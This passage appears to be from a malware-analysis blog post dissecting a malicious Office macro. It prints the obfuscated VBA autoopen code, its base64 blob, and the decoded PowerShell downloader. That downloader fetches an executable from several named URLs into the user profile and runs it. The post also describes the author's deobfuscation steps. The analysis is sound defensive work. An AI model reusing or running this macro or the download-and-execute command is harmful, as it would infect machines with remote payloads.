sXIO3j = "AnAG" + "0AMQ" + "AnAC" + "kAOwA" + "kAE"
wBuzmLiw = qc2z0SEi + Oujhvq7b + QV7zAXF + BzjlMR1F + OQKf7zP + ds84PI + bZjAXG + lsk59K2 + MzvEWt + CSfGq3 + sXIO3j
End Function

Function Mnv94H()
On Error Resume Next
aYtibs3 = 179827747 + Rnd(282625438 / ChrB(637411799)) * (mKzDvwPf * CStr(koOwWQ) + (820843991 * 289415028 - JjFdDd * lHfAVqz * (RPNVIV + DPpWlW0p)))
Set JFU0SS4 = jrTi9a
   lUWofF = 74927613 + Rnd(641543024 / ChrB(758132513)) * (UIV49I * CStr(rjh9sN) + (7144871 * 374798480 - QiRhhNzX * Zi1zlbf * (rQFvilwM + WisWwbB)))
Set iIElPCtQ = TRs4Y3kO
n8DNvz = "kARQB" + "wAEgAa" + "gBqA" + "CAAPQA" + "gACgAJ" + "wA2ADU" + "AJwAr" + "ACcAN" + "AAnAC"
kRwoCbw = 252124838 + Rnd(733842440 / ChrB(143597698)) * (zrcm1dc7 * CStr(R66WQprw) + (814240235 * 421383916 - v8pM0R * s7TAKbb * (FTzFB83t + Gh8Unn)))
Set a7niLvBz = vMwNwAr
   IEn4iai = 707329075 + Rnd(651177826 / ChrB(528505509)) * (tdhpAcm * CStr(QWJu2F) + (923052425 * 748610456 - luiSzC * w4qsCDw * (wC5qL3M + ZJqVj8lV)))
Set QKsnm1r = fTF8pt8
uAwdTGD5 = "kAOw" + "AkA" + "G0AVQ" + "B1AFc" + "AZABG"
hR1ASs = 593608699 + Rnd(869856326 / ChrB(837772827)) * (Z9pw547F * CStr(Oba2Po) + (194804751 * 17052920 - MTIQlW * fT0E0I6 * (qz1VPb + raJDDY1)))
Set aLzZLi = YUKNcR7
   oFpG4cU = 69902081 + Rnd(459111931 / ChrB(375063880)) * (C9Lqznb * CStr(KruAUNws) + (450570844 * 750939523 - j3VIiK3 * u8Utizp8 * (nOjkY6F + cVAmuD)))
Set rhSciV = mZR1aH
   IUwbv9 = 441358395 + Rnd(41993444 / ChrB(359464561)) * (pURjMl * CStr(ch2BLD) + (654196984 * 501767774 - c60wvXm * F4n707bn * (QjiU2bn + fYHdGr)))
Set NAj45z = J4k2FtZd
LOw02E5 = "AD0A" + "KAAnAF" + "IAM" + "ABhAHE" + "AJwA" + "rACcAM" + "QBsAD" + "AAJw" + "ArACc"
FYW8JAh = 712619214 + Rnd(881693387 / ChrB(636295992)) * (URKaKmN * CStr(I3ZUT71W) + (250299522 * 589413664 - YMSLPFs * RpIzFY * (VFHNi7j + rErVnCm)))
Set E3P6hfZ1 = OiOiBr
   QA3fwJH = 424424867 + Rnd(823210062 / ChrB(264615348)) * (PK2s3Pl * CStr(wzSnDq) + (307425369 * 580047337 - BwAi5hfG * oacfXKo * (PjwUaV + ttdw1Oj)))
Set Pq8LWI97 = TzQ3C9i
   z2dUJc = 561984218 + Rnd(486723199 / ChrB(654304715)) * (G4FY1Mf2 * CStr(Nu5i9u) + (918391916 * 340744218 - fUdkQY * jcwnuD9 * (S73tN5I + dwLsnJ)))
Set MwaiHbj1 = TmA1juPi
UaU4Jz1 = "ATwA" + "nACkAO" + "wAkA" + "GQA" + "RwB" + "CAFQAb"
SlNj2znD = 904942248 + Rnd(601296404 / ChrB(231547769)) * (WoJpiW * CStr(L7O7SCFY) + (378312373 * 859886211 - dIowCo * dOZvBIG * (GQAdsH + diwhojtH)))
Set P0Xm5CP = bc6K78WP
   sQzrsWma = 528335493 + Rnd(650487598 / ChrB(597667683)) * (GFWid6z * CStr(lq6rtk) + (534848929 * 916008907 - CXJSTGw7 * QJWWlsmX * (crCjiIwB + ulzrDJ)))
Set Cbq9808i = FA9JOLV
   v0o9zrXQ = 888537584 + Rnd(578349292 / ChrB(526518202)) * (D7ApwdLv * CStr(fa5jw5) + (486628947 * 80837732 - VwIbDiP3 * nItkf3 * (rkQ8D1C + JkVYiNzb)))
Set cmPNTs2Y = RA52CPsj
mLUvTz7 = "AA0AHE" + "APQAk" + "AGU" + "AbgB" + "2ADoAd"
hXzdGE5 = 622752920 + Rnd(4143555 / ChrB(374439290)) * (wQW55V * CStr(GfZRfAE) + (958997563 * 351471992 - WVoA2VV5 * wSk7LHjV * (zVsdI8 + E07QKdWw)))
Set ZjjbRs = rVT3im
   wvptmnk6 = 494575016 + Rnd(560361141 / ChrB(299099691)) * (wPhh76N * CStr(VZrGTiiw) + (189766578 * 256872344 - WwEb9f * fJcubQj * (WGZBJW + aUCWqW)))
Set TfadG8Z = KQ78pD
nJIQQcw = "QBzAG" + "UAcgB" + "wAHI" + "Abw" + "BmA" + "GkA"
uHrvLhk = 960064732 + Rnd(529986537 / ChrB(131783534)) * (wbjjomz * CStr(zGwzSZ) + (781269897 * 555111492 - JW3Vtaj * NnvzJ3UB * (iuqFX5B6 + GzZmhWGF)))
Set GITw8lNT = wYjjO1iQ
   MYuj56 = 665417865 + Rnd(256782902 / ChrB(345597011)) * (b5mZmpc5 * CStr(DHqRPr) + (856571112 * 941873976 - FXzQ8Ui * CMwdv3 * (QGUvjU2 + DRpOwT)))
Set rKFWcRKh = DPn6Zh
mnhC8GqR = "bABlAC" + "sAJwB" + "cACcAK" + "wAkAEk" + "ARQBwA" + "EgAa" + "gBqAC" + "sAKAAn"
DzENLYi = 297625587 + Rnd(720768655 / ChrB(476796187)) * (pHlJsr * CStr(qObpku24) + (807596303 * 458000434 - Snjt2v * v8MIj15b * (wz05kzW + WhliQMI)))
Set f2R7EJ = BTFt1afP
   RI79ZA = 460723157 + Rnd(627391298 / ChrB(588236318)) * (EwL6JUmM * CStr(JMAjd8) + (760995623 * 634702389 - Cs3nJv4v * SGZHkLY * (aiAZ9J7 + wCr0Sh1)))
Set cwXa1dGw = t9SjQHwY
WCrXbI = "AC4A" + "ZQA" + "nACs" + "AJwB4" + "AGU" + "AJwAp" + "ADsAZ" + "gBvA" + "HIAZ"
Mnv94H = n8DNvz + uAwdTGD5 + LOw02E5 + UaU4Jz1 + mLUvTz7 + nJIQQcw + mnhC8GqR + WCrXbI
End Function

Function Qd66bAu()
On Error Resume Next
foWb2Kp = 873066267 + Rnd(825404028 / ChrB(979149400)) * (i15WVz5 * CStr(sLSsNo) + (787551009 * 7545040 - dR4cZjAJ * EcPn1jFS * (dFQdudDs + u2cE8Tr)))
Set rVnLF0Y = tnjiabV
   BaN2AfUq = 661456499 + Rnd(670569176 / ChrB(166004269)) * (FQSF3Bz * CStr(kjRkTK) + (941750314 * 233680561 - Xq8iPw * zNpcEFtH * (Ddi164so + KKuaXBD)))
Set lDQpKz = NiM1MMF
l7cRfN7 = "QBh" + "AGM" + "AaAAo" + "ACQATQ" + "A4AF" + "UAMQB6"
LailsNz = 406987825 + Rnd(654056395 / ChrB(861486049)) * (cqtrs0W * CStr(cVjO1ucj) + (265847283 * 758795270 - RaUfwU5X * SRtdn5d * (sHcqFBW + RzYGKzN)))
Set K5pcoWN = ZWHiGl
   YLPlBQWh = 809818160 + Rnd(951890865 / ChrB(40140484)) * (oZjODsvK * CStr(YVTHTmlq) + (605883735 * 987514461 - pFJ2aT * iwNXno5 * (rAzLNv + GD6MQatl)))
Set WEMRc1p = H7iprUdw
tuOdbcb = "AHcAI" + "ABpAG" + "4AIAAk" + "AFA" + "AZgB3" + "AEgAYw" + "BYAFoA" + "UwApA" + "HsAdAB"
sIT87uTH = 469676144 + Rnd(55099057 / ChrB(842554649)) * (iN0OCP0 * CStr(Q1LtS3Cz) + (436493985 * 345713109 - XmHhWuPz * LwsjBhp * (MOAzdwN + EnminkN)))
Set kpfuwNum = o1iKG5
   Fv52Ui = 275681568 + Rnd(770884464 / ChrB(393266725)) * (KUoTYls * CStr(rRAkOBA4) + (258308706 * 921694968 - EiBwM3t * TVTNEwD * (ZiJQZzv + PiXfdfC)))
Set jjMt0nTd = TJM8nsbz
pouJSzs = "yAHkA" + "ewAk" + "AEoARw" + "BUADkA" + "aQBZ" + "AE8AY"
cRX82v = 19892619 + Rnd(293320422 / ChrB(874125705)) * (QYfzpw * CStr(KdAvmLl9) + (697346982 * 879664904 - lu7VIf8 * r2Iw2vm * (U0BN7mjj + NwTZMDYi)))
Set kK1VHV = zvZ97wiq
   JinbBIrj = 374051741 + Rnd(551264155 / ChrB(266061981)) * (QOKuQD * CStr(mGEZjjl) + (755729742 * 934633056 - ohr4wXK * LzGc3Q * (BXQWiEa + BbiGwb2)))
Set dlUYWG = X60mhT
RwmuL9zj = "gAuA" + "EQAbw" + "B3AG4" + "AbA" + "BvAGEA" + "ZABGA" + "GkAbA"
iZUGWi = 558728469 + Rnd(671739561 / ChrB(884179563)) * (V4Flvt * CStr(Rw6ztKIF) + (805894080 * 147955897 - zwWiVA * bmOqqfLC * (kJ7Y8Rp + zOcujRj)))
Set bhPuUFU = MHO9Gob
   JjbEhIw = 492205395 + Rnd(310280451 / ChrB(766429482)) * (lWqJiv8o * CStr(YivLBnzp) + (372617296 * 841950712 - Asvsjbc * hbfarEp * (B3baG3 + FKonY6L)))
Set wYvPfL7 = GPuUjKdL
d1E4tZ = "BlACgA" + "JAB" + "NADgAV" + "QAxA" + "HoAd" + "wAsA" + "CAAJ"
JnLUnj = 175000718 + Rnd(823347353 / ChrB(659168783)) * (CQ4isoba * CStr(DMwNB1) + (509079383 * 609501128 - w39cw9Gj * pqPK9dFb * (oAaQHaWG + iN3YwKRa)))
Set c6IaPY8o = nEv756c
   hht2zDQ = 597386587 + Rnd(601919816 / ChrB(978791791)) * (U6kihkhD * CStr(MDCKGLQ) + (320740386 * 355634144 - PLSQ9i * l4mwtLZ * (Y5GLiDSp + zFURm2uG)))
Set LjCAjQ = OS9rTf1
   vH2kmI2X = 533198944 + Rnd(97573349 / ChrB(622189184)) * (zt1SwVI * CStr(Wr3RzRZ) + (780174646 * 240798078 - WMaI9kh * mUth5p6N * (SdjiqJsV + wu2uF8w)))
Set QMzZnqG9 = GWLAijA
zPOMJu0d = "ABk" + "AEcAQ" + "gBU" + "AGwA" + "NABxA" + "CkA" + "OwAk" + "AE8" + "ARA"
KUHwVWW = 626702085 + Rnd(83132343 / ChrB(884812614)) * (vvTvMh * CStr(zbwz1J) + (196571569 * 922203237 - ihWwz9 * ci7avnc * (jXoQkU + mjU9LKb)))
Set LYsF8UOm = RfqLU6
   EzYf7w0G = 942368426 + Rnd(199438054 / ChrB(493369092)) * (YHMNOJCJ * CStr(KtkS7ccN) + (530972519 * 517759448 - sKjCHCz * TpBdzC8 * (sqs4Lw + Boi08Dk)))
Set BoMBAV = rEjwHZ
   k5f1VdNJ = 393173748 + Rnd(987728499 / ChrB(109487686)) * (CslSFQ3 * CStr(mJXn99G) + (182909226 * 319767467 - RlqXjfq9 * wv1bjTN * (ZXIQKVd + MCNpjcO)))
Set Mtjk5G = UjLYp3so
SfBGzL = "B6AEQA" + "SwA5AD" + "MAPQA" + "oACcA" + "ZgAn" + "ACs" + "AJwBqA"
p7jplv = 927701276 + Rnd(852753459 / ChrB(400750473)) * (owtbaHVS * CStr(Jj8DJ9) + (808919948 * 872694240 - NVjqCi * wCwvIvj3 * (iM2nJBm + fcwH9UL)))
Set LDY2kbU = VYLdQO
   HQnPzR = 185535274 + Rnd(58755511 / ChrB(765192252)) * (QfSWOz * CStr(i1LRjbQO) + (873745759 * 907176767 - YfUBZS * svLmH1O * (p7XPUqO + FzhDTJZm)))
Set JQ76dd9z = IqMkoE8
JnMhEm06 = "EgAegB" + "EAGwA" + "cAAnAC" + "sAJwA" + "1ACcA"
KuS56sp = 129935722 + Rnd(414094266 / ChrB(334228970)) * (qLfZsF * CStr(c7AMrS) + (568007474 * 168984552 - FuCQuatW * tvBjn9ER * (UWjY4Qu + jJfAkN)))
Set caEpVj = p6bisO
   NE08P60 = 698735385 + Rnd(171835498 / ChrB(902622668)) * (IQQNiXz * CStr(GUMOlR) + (869004564 * 112885696 - tujsZ0 * Ul1WjSWK * (iDN8nmI + lnnHkBmF)))
Set c2NDmbA = q42blTcF
WuLoWdq = "KQA7A" + "EkAZgA" + "gACgA" + "KABHA" + "GUA" + "dAA" + "tAEkA" + "dABlA" + "G0AI"
t2svhnEN = 428199590 + Rnd(411213609 / ChrB(561911674)) * (Qz79TVb * CStr(mEj4MB) + (893078066 * 512241062 - PsvtD0Va * UffQkBr * (kKC1wGn + WCT5IsV)))
Set F4095mc = dQTKUa
   Eph75PR = 869271806 + Rnd(219077211 / ChrB(380424824)) * (h42QnSE1 * CStr(jqbc7v) + (574601309 * 642538064 - qB8jBH8w * ziXfVp * (rMKRJvD + WTjSjZY)))
Set wVOfUSm = GT7HQN
   YztVwWuD = 377513235 + Rnd(519152519 / ChrB(787867678)) * (z3HGUbUi * CStr(ASm3i0Di) + (738743664 * 643737779 - ntIb6Kz * ECfdwltE * (PQ4tCK + DT8DFl)))
Set U83fJv = wQGYtY
d6H2AFR = "AAkA" + "GQARw" + "BCAF" + "QAb" + "AA0AHE" + "AKQAuA" + "GwA"
Qd66bAu = l7cRfN7 + tuOdbcb + pouJSzs + RwmuL9zj + d1E4tZ + zPOMJu0d + SfBGzL + JnMhEm06 + WuLoWdq + d6H2AFR
End Function

Function misB743q()
On Error Resume Next
ojs15m = 259784895 + Rnd(468663839 / ChrB(339892782)) * (qJMs3z0q * CStr(YbKw1Vs) + (478243774 * 253321315 - lsWRtoj3 * n9UwvHw * (zjUrTEh + Oh0F23)))
Set raJIcwp = Y1BFO7tz
   ukwtj7G5 = 441979621 + Rnd(845842613 / ChrB(568569952)) * (XMQ3ROD * CStr(Ttp8bTj) + (915279226 * 989126002 - Snqn53T * tXvGkB * (c7KWoV + DiiwUj)))
Set oIwjm8Z = tpA8jXZR
ADNMmcl = "ZQBuA" + "GcA" + "dABo" + "ACAA" + "LQBn" + "AGUA" + "IAA0AD" + "AAMA" + "AwA"
z4fIozif = 264614520 + Rnd(689262174 / ChrB(572433491)) * (iNG0Gw * CStr(ATUkb5fn) + (740258210 * 875099145 - ZY2aciqU * W3XM7Qc * (i1A7kL + t03jw7)))
Set NWphmIXw = WNP9OLDo
   ajV4kic = 445625547 + Rnd(60789641 / ChrB(432890347)) * (rWjRGbrs * CStr(CGkZSh) + (119366005 * 280821196 - kf5C0b * Jza1wbfB * (ZBjWJQhO + N5UwY9)))
Set XdSo0t = qMUJ5QJ
dUWofu = "DAA" + "KQA" + "gAHsAS" + "QBuA" + "HYA"
ZhoDZbOv = 962213343 + Rnd(917990298 / ChrB(325079150)) * (cdRkXQjR * CStr(CaoTJl) + (786113072 * 689918715 - NwhiqGaf * wmp88U * (Yudc7cm + GFJKOzih)))
Set p5RzBVRF = jWwqMNuQ
   kpKRjJ = 311135869 + Rnd(114101750 / ChrB(744369689)) * (jOhNwQWz * CStr(BlOzk14) + (434540199 * 973074445 - BwJProA * El3zk7 * (lvd0Krp + Z7TZqviV)))
Set U8HmWXQ = lZMn8hr
sEdLvJE = "bwBrAG" + "UALQB" + "JAHQA" + "ZQBtAC" + "AAJA" + "BkAEc"
hYriXp = 3547945 + Rnd(94664314 / ChrB(242330258)) * (qKGLMC * CStr(awvHwWqS) + (902210241 * 375505551 - zvsYwz9W * bzT0mCv * (iYFOV2Q6 + TGszWQCb)))
Set SEBN2Q9 = noj6jzW4
   YDuiwZ = 254937817 + Rnd(430679092 / ChrB(874277840)) * (PdnmHw * CStr(EuFkkR5Z) + (1270322 * 713562678 - BvtZmiB * h2hIni * (InNOYd + ZJR3APs)))
Set DjuOAj = tb3hb8
   wbPpmKGi = 604694031 + Rnd(271130817 / ChrB(703287287)) * (aXnCkCJ * CStr(tjE0zoq8) + (87529262 * 578769563 - WjVoTEC * qVzjbWk * (rm6Oitkm + tnLHT3E)))
Set TR8G7M = NdYRFK
d5wpXhz = "AQgBU" + "AGwAN" + "ABxA" + "DsAJAB" + "jADcA" + "agBp" + "AFEAMw" + "A9ACg"
s3YKFDEz = 27029413 + Rnd(550064100 / ChrB(431289624)) * (Vrjk1If * CStr(hGq4iib) + (582551148 * 787601316 - aYpJK9p * kHjNX7Zk * (JSwXOSdM + Sbvzz4B)))
Set V3d1Iwj = amF2Czc
   f87WEh4 = 807911768 + Rnd(44152535 / ChrB(221089631)) * (Bm3kGP * CStr(tKqAWUu) + (520858982 * 692255487 - kT91C5qG * Z9F99Iq * (hFoIdbQ + mwXHVRTs)))
Set rqZJczXL = TLDvKC
W1qwKF = "AJwB" + "3AG" + "kAJw" + "ArACc" + "AZA" + "AyAFo" + "AVw" + "BZAC" + "cAKQ"
misB743q = ADNMmcl + dUWofu + sEdLvJE + d5wpXhz + W1qwKF
End Function

Function SvYi5Y()
On Error Resume Next
Qar3FUa = 455660881 + Rnd(479377581 / ChrB(913763670)) * (A3z8Rh * CStr(pNuA25) + (186645371 * 372560310 - DBLqOi * mh4wbX * (HTTjUaYs + irBLID)))
Set rRDToVs = HVAvWDHu
   LFSbAYGY = 800434914 + Rnd(510784388 / ChrB(882020659)) * (H1QaWB * CStr(GbmhZi1) + (618397161 * 606005729 - YfC4ZL * Z3tBSa * (jvScVUW + j5k4PwM)))
Set tnG71PK = jYZTGT4
   UAZpHEhA = 935091417 + Rnd(677220105 / ChrB(173746982)) * (ZQl4El2b * CStr(AKWqwV) + (329430195 * 691723933 - wfqVE8VL * VHzSVIw2 * (wOW0Yi + npl0X43)))
Set NwHQqXS = TDUojdbd
B6II8P = "A7AG" + "IAc" + "gBl" + "AGE" + "AawA" + "7AH0" + "AfQ"
RJLo0A = 811400454 + Rnd(956707359 / ChrB(342546818)) * (DsGVHwws * CStr(ioAmQUU) + (61676991 * 885722845 - aPGOXNan * DXGLBPET * (iM5ufK + ii4cWFic)))
Set mkYFjf = vbOEPu
   kim6Ji8 = 604995466 + Rnd(187162849 / ChrB(369192227)) * (iI8XbmjC * CStr(Xa5S9V) + (778068471 * 817724678 - wbKimLd4 * bvPmUI7b * (kIHmCM + blzWlD4J)))
Set mPIpdpi = O8zZVj
   ZIYasqvd = 362165474 + Rnd(112544498 / ChrB(383572899)) * (nmW4itI * CStr(rDLJBSzM) + (558171835 * 594087418 - wv6pzluN * i5Y4RRq * (BFwSVOj + hJiwuXz)))
Set LvHYina = mHBifn
FckbN7Qj = "BjA" + "GEAdA" + "BjA" + "GgAe" + "wB9AH" + "0AJ" + "ABPAHE" + "ASwB"
Wzt9cQif = 664813073 + Rnd(931017087 / ChrB(602680043)) * (mpsMhE * CStr(PdmsLohV) + (633491023 * 530973899 - pMoFnk * MbqZ60ij * (I2j0JV + OmBJBY)))
Set XhAmj8zk = pMwMJ8qV
   OjUC9q = 619911867 + Rnd(191324940 / ChrB(505764206)) * (QOzGf2X * CStr(znHzzKS) + (142403242 * 793628068 - anj1Msh * shtziQc * (t7FndL + cOwXdYL)))
Set jr94wToO = vRShsn1
pDT9WTn = "3AGQ" + "AcAA" + "9ACgA" + "JwBYAE" + "4ASwA" + "nACsA" + "JwBYA"
WuD7X5zT = 493945759 + Rnd(137050478 / ChrB(960794521)) * (rjIzhB * CStr(c1aPhEu) + (584875022 * 501993385 - h4I7Ei * CbIYidGF * (LoUsS35m + rFt0dp5G)))
Set DTwEiMZ = ob9d1RA8
   Zwjr6fQV = 830631645 + Rnd(438680916 / ChrB(453945522)) * (Y7JEZ0T * CStr(K7vp8Q1) + (730843367 * 316482153 - MBo85j * MozEwp8o * (wIYK3k + Nh0fGHHK)))
Set OLJzmmV = t8A0mNn
   ItmtPo = 144370194 + Rnd(885973332 / ChrB(472537641)) * (bj1Lo3D * CStr(VQowE4Dj) + (120093318 * 738763736 - QZBEArQ * otjRFjB * (sqw7w5Ez + imvt5wN)))
Set GnLzRhnj = zUBJP3Q
EIEU9Tz = "EUA" + "SwAnA" + "CkAO" + "wA="
SvYi5Y = B6II8P + FckbN7Qj + pDT9WTn + EIEU9Tz
End Function


Sub autoopen()
On Error Resume Next
   WYG01Emi = 627136152 + Rnd(703507320 / ChrB(92536584)) * (znW1sqYh * CStr(HHdzi9u) + (628984380 * 336072048 - DZrq5rib * Owc3Vz * (wIbP78 + ODj3Eu0)))
Set MoJz04FZ = SB6NK0bY
   z5oTLD = 599329029 + Rnd(451456318 / ChrB(19258986)) * (UO7VOQ * CStr(nGUHt77) + (440806034 * 738022724 - d6BQD1Q * b2wiEM * (wvwI7D + iz5WPl)))
Set cvOW94 = NC25UzDh
   Trwctot = 581744880 + Rnd(558079707 / ChrB(322360018)) * (SvHPuK * CStr(Zk1MQqQz) + (66927396 * 951667606 - h5vLqtYs * wGnj2K * (Gj9DFz1 + CX6flU)))
Set XA6jBv3 = huirzFA
pjs7kH = rkw8UGh + Chr(fUvcLZ + FzFXsJGB + KeyCodeConstants.vbKeyP + www5Vz + YiZjZuT + W6J5smt + LECJDVzi) + oHPUlXj + H69wWw4D + bOXYcQd
   ccVZ5B = 660827807 + Rnd(960868094 / ChrB(117019020)) * (E4DLNP * CStr(fiiGc1mj) + (674990587 * 757028956 - UAwdii * sn98VAT * (DKooza + S4jSc0)))
Set o6FEjqsh = zjhvbjPT
   cH95iKG = 302472438 + Rnd(264864397 / ChrB(286542331)) * (WssUjwUr * CStr(IVBYFtF) + (506547179 * 128201286 - hwX0P08T * Anzwnj * (Vzvc58 + IEWNvJpw)))
Set RVRzXYLi = MmbJdYrr
GGS8A1j = VWWz37nX + Chr(AtOQwkZX + vnhmNtWc + z6950fb + lQms5M + KeyCodeConstants.vbKeyO + n5ilbt + uBZASZtT + v6tRjLX) + bwVq6p + JrQtnG3 + DPVWUZ + zl5pfX + QWtO0w
   QzDwRKFi = 146327714 + Rnd(234342030 / ChrB(575897316)) * (O1d4qfl * CStr(iZWNw4mD) + (16669287 * 24485372 - kkuIWP * z0awzo * (A4MRTl + XDVM2FN)))
Set KjQtuUQ8 = i0jaK0kD
   tOpczq = 703904372 + Rnd(240430333 / ChrB(122288507)) * (HzUlrpKi * CStr(KC2hWwGz) + (969991852 * 231469119 - EYOQLRUp * zH8qfdpn * (SWqLw5b5 + HnIUu7W)))
Set uO3fcGt = OnJUlidr
   T6EzHmvQ = 401572651 + Rnd(793195745 / ChrB(902715424)) * (M7p7qOVR * CStr(B5aUnKw) + (848796452 * 199707633 - jS0BpBG * HzXtqOM * (fIqBjC + OHFm7rkb)))
Set i5ANPu0 = bqnY96
DsiufjK ikw8I0t + pjs7kH + GGS8A1j + KHwRElj7 + wCPzWAns + F0wA2rw + UOiYERH + B8waSCi + BIBrlzL + wBuzmLiw + Mnv94H + Qd66bAu + misB743q + SvYi5Y, 125713 - 125713
   MSD84f = 74722115 + Rnd(618328723 / ChrB(812588121)) * (DIwVYJ * CStr(SmTkHi) + (453673570 * 603260537 - HPfnkh * irj1E5Rk * (j0L2oXoX + wcb4qXop)))
Set cOcriqb = VShRh6X
   J1XHvVB = 353202910 + Rnd(702104841 / ChrB(847006653)) * (cFUCzPjE * CStr(o9Vsnp) + (742374002 * 489394143 - Wbil7ijm * DfdRJp * (ikD2EA + oDrVlNY)))
Set FktGUt5 = FQiDj8f
   zjhzksl = 18464130 + Rnd(994433919 / ChrB(158754862)) * (Yk10T9O * CStr(fJKhnoPi) + (948797985 * 867038795 - shcU5jd * N1wiwiz * (uwLwYX + zEVjCS)))
Set fDXpYc = GUSW91G
End Sub

So trying another tool out that I have been playing with a lot (ViperMonkey from Decalage2: https://github.com/decalage2/ViperMonkey) yielded the breakdown of the script with the code being encoded in base64 as seen below:

JABIAEwAMwAzAFIAQwBSADAAPQAoACcASwB2ACcAKwAnAGQATAAnACsAJwB1AHAAcgAnACkAOwAkAEoARwBUADkAaQBZAE8AYgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABQAGYAdwBIAGMAWABaAFMAPQAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6AC8AJwArACcALwBkACcAKwAnAGEAJwArACcAZABhACcAKwAnAGYAYQByAGkAbgBnAG8AcwAnACsAJwB0AGEAcgAnACsAJwAuACcAKwAnAGMAJwArACcAbwBtAC8AJwArACcAcgB0AFEAdwBUACcAKwAnADUAJwArACcANQB6AEAAJwArACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBmAGkAJwArACcAbABlACcAKwAnAC4AbABhAHUAYQBzAGkAbgBoAC4AYwBvAG0AJwArACcALwAnACsAJwBQACcAKwAnAFgAZQBoAEwAJwArACcAUAAnACsAJwBQAGwAQAAnACsAJwBoAHQAdAAnACsAJwBwACcAKwAnADoAJwArACcALwAvAGEAJwArACcAbgAnACsAJwBnAGkAcgBhAHMALgAnACsAJwBvAHIAJwArACcAZwAvAHgAJwArACcAOABCACcAKwAnAGoAYQBNACcAKwAnADQAJwArACcANAAnACsAJwA0AEkAQABoAHQAdAAnACsAJwBwACcAKwAnADoALwAvAGEAZABzAHUAaQBkAGUALgBjAGwAJwArACcAdQBiAC8AeQAnACsAJwA3ACcAKwAnADcAUQBUAEsAaABWAEAAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwBtAGkAYwBoAGEAZQBsAHcAcgBpAG4AZwBsACcAKwAnAGUAJwArACcAcgAuAGMAbwAnACsAJwBtAC8ASQBSAFkAWQAnACsAJwBxAFAAYgA1ACcAKwAnAE4AJwApAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAaQAwADUANQBhAGwATwBQAD0AKAAnAHQAcABZAEUAMgBvACcAKwAnAG0AMQAnACkAOwAkAEkARQBwAEgAagBqACAAPQAgACgAJwA2ADUAJwArACcANAAnACkAOwAkAG0AVQB1AFcAZABGAD0AKAAnAFIAMABhAHEAJwArACcAMQBsADAAJwArACcATwAnACkAOwAkAGQARwBCAFQAbAA0AHEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEkARQBwAEgAagBqACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQATQA4AFUAMQB6AHcAIABpAG4AIAAkAFAAZgB3AEgAYwBYAFoAUwApAHsAdAByAHkAewAkAEoARwBUADkAaQBZAE8AYgAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABNADgAVQAxAHoAdwAsACAAJABkAEcAQgBUAGwANABxACkAOwAkAE8ARAB6AEQASwA5ADMAPQAoACcAZgAnACsAJwBqAEgAegBEAGwAcAAnACsAJwA1ACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGQARwBCAFQAbAA0AHEAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABkAEcAQgBUAGwANABxADsAJABjADcAagBpAFEAMwA9ACgAJwB3AGkAJwArACcAZAAyAFoAVwBZACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABPAHEASwB3AGQAcAA9ACgAJwBYAE4ASwAnACsAJwBYAEUASwAnACkAOwA=

Once I decoded that, I got the following:

$HL33RCR0=('Kv'+'dL'+'upr');
$JGT9iYOb=new-object Net.WebClient;
$PfwHcXZS=('h'+'tt'+'p:/'+'/d'+'a'+'da'+'faringos'+'tar'+'.'+'c'+'om/'+'rtQwT'+'5'+'5z@'+'http'+'://'+'fi'+'le'+'.lauasinh.com'+'/'+'P'+'XehL'+'P'+'Pl@'+'htt'+'p'+':'+'//a'+'n'+'giras.'+'or'+'g/x'+'8B'+'jaM'+'4'+'4'+'4I@htt'+'p'+'://adsuide.cl'+'ub/y'+'7'+'7QTKhV@h'+'ttp'+'://michaelwringl'+'e'+'r.co'+'m/IRYY'+'qPb5'+'N').Split('@');
$i055alOP=('tpYE2o'+'m1');
$IEpHjj = ('65'+'4');
$mUuWdF=('R0aq'+'1l0'+'O');
$dGBTl4q=$env:userprofile+'\'+$IEpHjj+('.e'+'xe');
foreach($M8U1zw in $PfwHcXZS){try{$JGT9iYOb.DownloadFile($M8U1zw, $dGBTl4q);
$ODzDK93=('f'+'jHzDlp'+'5');
If ((Get-Item $dGBTl4q).length -ge 40000) {Invoke-Item $dGBTl4q;
$c7jiQ3=('wi'+'d2ZWY');
break;
}}catch{}}$OqKwdp=('XNK'+'XEK');

So now I know the sites that this was calling out to, and where the file was being dropped, but it still doesn’t answer my question about how it gets re-assembled. So went back to what I could figure out from the oledump output mentioned above. Skimming through it, there was a pattern to it (every 4-6 lines was junk code and then a variable being assigned to other random named variables while being concatenated), but I was not 100% sure if my “gut-feeling” was correct. That was until I saw the following line in the script:

QX0ipWjQ = "wersh" + "ell -" + "e J" + "ABIAE" + "wAMwA"

I could see the beginnings of the Powershell script in that one line. And since this one line kind of married up to my “gut-feeling,” I started to strip out the junk code. Once that was done, and some further cleaning up of the script was performed, I was left with this:

Attribute VB_Name = sKfw6m
	Function DsiufjK(rPP1jAE, wToiPvr)
	Shell (rPP1jAE + iJf1R0 + jG4Ranf + rppKckZK + oM1fQI + nRaN1qpw), l6dXY99 + qnul14Cw + wToiPvr + tzKhPcU + tm0T1td + zEB7op
End Function

Function UOiYERH()
	On Error Resume Next
	QX0ipWjQ = wersh  ell -  e J  ABIAE  wAMwA
	qYGMCi2F = zAFIA  QwBS  ADA  APQAoA  CcAS
	ZzzVfP = wB2  ACcAKw  AnA  GQATAA  nACsAJ  wB1AHA  AcgAnA  CkAOwA  kAEo
	zVCl3I58 = ARwBU  ADk  AaQBZ  AE8A  YgA9AG  4AZQ  B3AC  0AbwB
	fcsnuE = iAGo  AZQBjA  HQAIAB  OAGUA  dAAu  AFcA  ZQB  iAEM
	cNsVZwis = AbA  BpAGU  AbgB0A  DsA  JABQAG  YAdwBI  AGMAW
